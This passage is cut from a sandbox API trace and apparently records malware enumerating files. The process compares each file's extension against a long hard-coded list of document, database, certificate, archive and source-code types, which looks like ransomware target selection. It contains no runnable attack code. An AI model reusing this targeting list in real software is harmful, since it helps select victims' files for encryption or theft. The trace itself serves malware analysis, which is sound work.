(lpString1=".asp", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".aspx") returned 5 [0182.756] lstrcmpiW (lpString1=".aspx", lpString2="2.xml") returned -1 [0182.756] lstrlenW (lpString=".asr") returned 4 [0182.756] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".asx") returned 4 [0182.756] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".avi") returned 4 [0182.756] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".avs") returned 4 [0182.756] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".backup") returned 7 [0182.756] lstrcmpiW (lpString1=".backup", lpString2="th2.xml") returned -1 [0182.756] lstrlenW (lpString=".bak") returned 4 [0182.756] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".bay") returned 4 [0182.756] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".bd") returned 3 [0182.756] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.757] lstrlenW (lpString=".bin") returned 4 [0182.757] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".bmp") returned 4 [0182.757] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".bz2") returned 4 [0182.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".c") returned 2 [0182.757] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.757] lstrlenW (lpString=".cdr") returned 4 [0182.757] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".cer") returned 4 [0182.757] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".cf") returned 3 [0182.757] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.757] lstrlenW (lpString=".cfc") returned 4 [0182.757] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".cfm") returned 4 [0182.757] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".cfml") returned 5 [0182.757] lstrcmpiW (lpString1=".cfml", lpString2="2.xml") returned -1 [0182.757] lstrlenW (lpString=".cfu") returned 4 [0182.757] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".chm") returned 4 [0182.757] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".cin") returned 4 [0182.757] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.757] lstrlenW (lpString=".class") returned 6 [0182.757] lstrcmpiW (lpString1=".class", lpString2="h2.xml") returned -1 [0182.758] lstrlenW (lpString=".clx") returned 4 [0182.758] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".config") returned 7 [0182.758] lstrcmpiW (lpString1=".config", lpString2="th2.xml") returned -1 [0182.758] lstrlenW (lpString=".cpp") returned 4 [0182.758] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".cr2") returned 4 [0182.758] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".crt") returned 4 [0182.758] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".crw") returned 4 [0182.758] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".cs") returned 3 [0182.758] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.758] lstrlenW (lpString=".css") returned 4 [0182.758] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".csv") returned 4 [0182.758] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.758] lstrlenW (lpString=".cub") returned 4 [0182.760] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.760] lstrlenW (lpString=".dae") returned 4 [0182.760] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.760] lstrlenW (lpString=".dat") returned 4 [0182.760] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.760] lstrlenW (lpString=".db") returned 3 [0182.760] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.760] lstrlenW (lpString=".dbf") returned 4 [0182.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.816] lstrlenW (lpString=".dbx") returned 4 [0182.816] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.816] lstrlenW (lpString=".dc3") returned 4 [0182.816] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.816] lstrlenW (lpString=".dcm") returned 4 [0182.816] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.816] lstrlenW (lpString=".dcr") returned 4 [0182.816] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".der") returned 4 [0182.817] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".dib") returned 4 [0182.817] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".dic") returned 4 [0182.817] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".dif") returned 4 [0182.817] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".divx") returned 5 [0182.817] lstrcmpiW (lpString1=".divx", lpString2="2.xml") returned -1 [0182.817] lstrlenW (lpString=".djvu") returned 5 [0182.817] lstrcmpiW (lpString1=".djvu", lpString2="2.xml") returned -1 [0182.817] lstrlenW (lpString=".dng") returned 4 [0182.817] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".doc") returned 4 [0182.817] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".docm") returned 5 [0182.817] lstrcmpiW (lpString1=".docm", lpString2="2.xml") returned -1 [0182.817] lstrlenW (lpString=".docx") returned 5 [0182.817] lstrcmpiW (lpString1=".docx", lpString2="2.xml") returned -1 [0182.817] lstrlenW (lpString=".dot") returned 4 [0182.817] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".dotm") returned 5 [0182.817] lstrcmpiW (lpString1=".dotm", lpString2="2.xml") returned -1 [0182.817] lstrlenW (lpString=".dotx") returned 5 [0182.817] lstrcmpiW (lpString1=".dotx", lpString2="2.xml") returned -1 [0182.817] lstrlenW (lpString=".dpx") returned 4 [0182.817] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".dqy") returned 4 [0182.817] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.817] lstrlenW (lpString=".dsn") returned 4 [0182.818] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".dt") returned 3 [0182.818] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.818] lstrlenW (lpString=".dtd") returned 4 [0182.818] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".dwg") returned 4 [0182.818] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".dwt") returned 4 [0182.818] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".dx") returned 3 [0182.818] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.818] lstrlenW (lpString=".dxf") returned 4 [0182.818] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".edml") returned 5 [0182.818] lstrcmpiW (lpString1=".edml", lpString2="2.xml") returned -1 [0182.818] lstrlenW (lpString=".efd") returned 4 [0182.818] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".elf") returned 4 [0182.818] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".emf") returned 4 [0182.818] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".emz") returned 4 [0182.818] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".epf") returned 4 [0182.818] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".eps") returned 4 [0182.818] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.818] lstrlenW (lpString=".epsf") returned 5 [0182.819] lstrcmpiW (lpString1=".epsf", lpString2="2.xml") returned -1 [0182.819] lstrlenW (lpString=".epsp") returned 5 [0182.819] lstrcmpiW (lpString1=".epsp", lpString2="2.xml") returned -1 [0182.819] lstrlenW (lpString=".erf") returned 4 [0182.819] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".exr") returned 4 [0182.819] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".f4v") returned 4 [0182.819] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".fido") returned 5 [0182.819] lstrcmpiW (lpString1=".fido", lpString2="2.xml") returned -1 [0182.819] lstrlenW (lpString=".flm") returned 4 [0182.819] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".flv") returned 4 [0182.819] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".frm") returned 4 [0182.819] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".fxg") returned 4 [0182.819] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".geo") returned 4 [0182.819] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".gif") returned 4 [0182.819] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".grs") returned 4 [0182.819] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.819] lstrlenW (lpString=".gz") returned 3 [0182.819] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.819] lstrlenW (lpString=".h") returned 2 [0182.820] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.820] lstrlenW (lpString=".hdr") returned 4 [0182.820] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".hpp") returned 4 [0182.820] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".hta") returned 4 [0182.820] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".htc") returned 4 [0182.820] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".htm") returned 4 [0182.820] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".html") returned 5 [0182.820] lstrcmpiW (lpString1=".html", lpString2="2.xml") returned -1 [0182.820] lstrlenW (lpString=".icb") returned 4 [0182.820] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".ics") returned 4 [0182.820] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".iff") returned 4 [0182.820] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".inc") returned 4 [0182.820] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".indd") returned 5 [0182.820] lstrcmpiW (lpString1=".indd", lpString2="2.xml") returned -1 [0182.820] lstrlenW (lpString=".ini") returned 4 [0182.820] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".iqy") returned 4 [0182.820] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".j2c") returned 4 [0182.820] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".j2k") returned 4 [0182.820] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0182.820] lstrlenW (lpString=".java") returned 5 [0182.820] lstrcmpiW (lpString1=".java", lpString2="2.xml") returned -1 [0182.820] lstrlenW (lpString=".jp2") returned 4 [0182.821] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".jpc") returned 4 [0182.821] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".jpe") returned 4 [0182.821] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".jpeg") returned 5 [0182.821] lstrcmpiW (lpString1=".jpeg", lpString2="2.xml") returned -1 [0182.821] lstrlenW (lpString=".jpf") returned 4 [0182.821] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".jpg") returned 4 [0182.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".jpx") returned 4 [0182.821] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".js") returned 3 [0182.821] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0182.821] lstrlenW (lpString=".jsf") returned 4 [0182.821] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".json") returned 5 [0182.821] lstrcmpiW (lpString1=".json", lpString2="2.xml") returned -1 [0182.821] lstrlenW (lpString=".jsp") returned 4 [0182.821] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".kdc") returned 4 [0182.821] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".kmz") returned 4 [0182.821] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".kwm") returned 4 [0182.821] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".lasso") returned 6 [0182.821] lstrcmpiW (lpString1=".lasso", lpString2="h2.xml") returned -1 [0182.821] lstrlenW (lpString=".lbi") returned 4 [0182.821] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0182.821] lstrlenW (lpString=".lgf") returned 4 [0182.822] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".lgp") returned 4 [0182.822] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".log") returned 4 [0182.822] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".m1v") returned 4 [0182.822] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".m4a") returned 4 [0182.822] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".m4v") returned 4 [0182.822] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".max") returned 4 [0182.822] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".md") returned 3 [0182.822] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0182.822] lstrlenW (lpString=".mda") returned 4 [0182.822] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mdb") returned 4 [0182.822] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mde") returned 4 [0182.822] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mdf") returned 4 [0182.822] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mdw") returned 4 [0182.822] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mef") returned 4 [0182.822] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mft") returned 4 [0182.822] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mfw") returned 4 [0182.822] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0182.822] lstrlenW (lpString=".mht") returned 4 [0182.822] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mhtml") returned 6 [0182.823] lstrcmpiW (lpString1=".mhtml", lpString2="h2.xml") returned -1 [0182.823] lstrlenW (lpString=".mka") returned 4 [0182.823] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mkidx") returned 6 [0182.823] lstrcmpiW (lpString1=".mkidx", lpString2="h2.xml") returned -1 [0182.823] lstrlenW (lpString=".mkv") returned 4 [0182.823] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mos") returned 4 [0182.823] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mov") returned 4 [0182.823] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mp3") returned 4 [0182.823] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mp4") returned 4 [0182.823] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mpeg") returned 5 [0182.823] lstrcmpiW (lpString1=".mpeg", lpString2="2.xml") returned -1 [0182.823] lstrlenW (lpString=".mpg") returned 4 [0182.823] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mpv") returned 4 [0182.823] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mrw") returned 4 [0182.823] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".msg") returned 4 [0182.823] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".mxl") returned 4 [0182.823] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".myd") returned 4 [0182.823] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0182.823] lstrlenW (lpString=".myi") returned 4 [0182.823] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".nef") returned 4 [0182.824] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".nrw") returned 4 [0182.824] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".obj") returned 4 [0182.824] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".odb") returned 4 [0182.824] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".odc") returned 4 [0182.824] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".odm") returned 4 [0182.824] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".odp") returned 4 [0182.824] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".ods") returned 4 [0182.824] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".oft") returned 4 [0182.824] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".one") returned 4 [0182.824] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".onepkg") returned 7 [0182.824] lstrcmpiW (lpString1=".onepkg", lpString2="th2.xml") returned -1 [0182.824] lstrlenW (lpString=".onetoc2") returned 8 [0182.824] lstrcmpiW (lpString1=".onetoc2", lpString2="eth2.xml") returned -1 [0182.824] lstrlenW (lpString=".opt") returned 4 [0182.824] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".oqy") returned 4 [0182.824] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".orf") returned 4 [0182.824] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".p12") returned 4 [0182.824] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0182.824] lstrlenW (lpString=".p7b") returned 4 [0182.825] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".p7c") returned 4 [0182.825] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pam") returned 4 [0182.825] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pbm") returned 4 [0182.825] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pct") returned 4 [0182.825] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pcx") returned 4 [0182.825] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pdd") returned 4 [0182.825] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pdf") returned 4 [0182.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pdp") returned 4 [0182.825] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pef") returned 4 [0182.825] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pem") returned 4 [0182.825] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pff") returned 4 [0182.825] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pfm") returned 4 [0182.825] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pfx") returned 4 [0182.825] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".pgm") returned 4 [0182.825] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".php") returned 4 [0182.825] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0182.825] lstrlenW (lpString=".php3") returned 5 [0182.825] lstrcmpiW (lpString1=".php3", lpString2="2.xml") returned -1 [0182.826] lstrlenW (lpString=".php4") returned 5 [0182.826] lstrcmpiW (lpString1=".php4", lpString2="2.xml") returned -1 [0182.826] lstrlenW (lpString=".php5") returned 5 [0182.826] lstrcmpiW (lpString1=".php5", lpString2="2.xml") returned -1 [0182.826] lstrlenW (lpString=".phtml") returned 6 [0182.826] lstrcmpiW (lpString1=".phtml", lpString2="h2.xml") returned -1 [0182.826] lstrlenW (lpString=".pict") returned 5 [0182.826] lstrcmpiW (lpString1=".pict", lpString2="2.xml") returned -1 [0182.826] lstrlenW (lpString=".pl") returned 3 [0182.826] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0182.826] lstrlenW (lpString=".pls") returned 4 [0182.826] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0182.826] lstrlenW (lpString=".pm") returned 3 [0182.826] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0182.826] lstrlenW (lpString=".png") returned 4 [0182.826] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0182.826] lstrlenW (lpString=".pnm") returned 4 [0182.826] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0182.826] lstrlenW (lpString=".pot") returned 4 [0182.826] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0182.826] lstrlenW (lpString=".potm") returned 5 [0182.826] lstrcmpiW (lpString1=".potm", lpString2="2.xml") returned -1 [0182.826] lstrlenW (lpString=".potx") returned 5 [0182.826] lstrcmpiW (lpString1=".potx", lpString2="2.xml") returned -1 [0182.826] lstrlenW (lpString=".ppa") returned 4 [0182.826] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0182.826] lstrlenW (lpString=".ppam") returned 5 [0182.827] lstrcmpiW (lpString1=".ppam", lpString2="2.xml") returned -1 [0182.827] lstrlenW (lpString=".ppm") returned 4 [0182.827] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".pps") returned 4 [0182.827] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".ppsm") returned 5 [0182.827] lstrcmpiW (lpString1=".ppsm", lpString2="2.xml") returned -1 [0182.827] lstrlenW (lpString=".ppt") returned 4 [0182.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".pptm") returned 5 [0182.827] lstrcmpiW (lpString1=".pptm", lpString2="2.xml") returned -1 [0182.827] lstrlenW (lpString=".pptx") returned 5 [0182.827] lstrcmpiW (lpString1=".pptx", lpString2="2.xml") returned -1 [0182.827] lstrlenW (lpString=".prn") returned 4 [0182.827] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".ps") returned 3 [0182.827] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0182.827] lstrlenW (lpString=".psb") returned 4 [0182.827] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".psd") returned 4 [0182.827] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".pst") returned 4 [0182.827] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".ptx") returned 4 [0182.827] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".pub") returned 4 [0182.827] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".pwm") returned 4 [0182.827] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".pxr") returned 4 [0182.827] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0182.827] lstrlenW (lpString=".py") returned 3 [0182.827] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0182.827] lstrlenW (lpString=".qt") returned 3 [0182.828] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0182.828] lstrlenW (lpString=".r3d") returned 4 [0182.828] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0182.828] lstrlenW (lpString=".raf") returned 4 [0182.828] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0182.828] lstrlenW (lpString=".rar") returned 4 [0182.828] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.828] lstrlenW (lpString=".raw") returned 4 [0182.828] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0182.828] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.828] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.828] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0182.829] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0182.830] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: 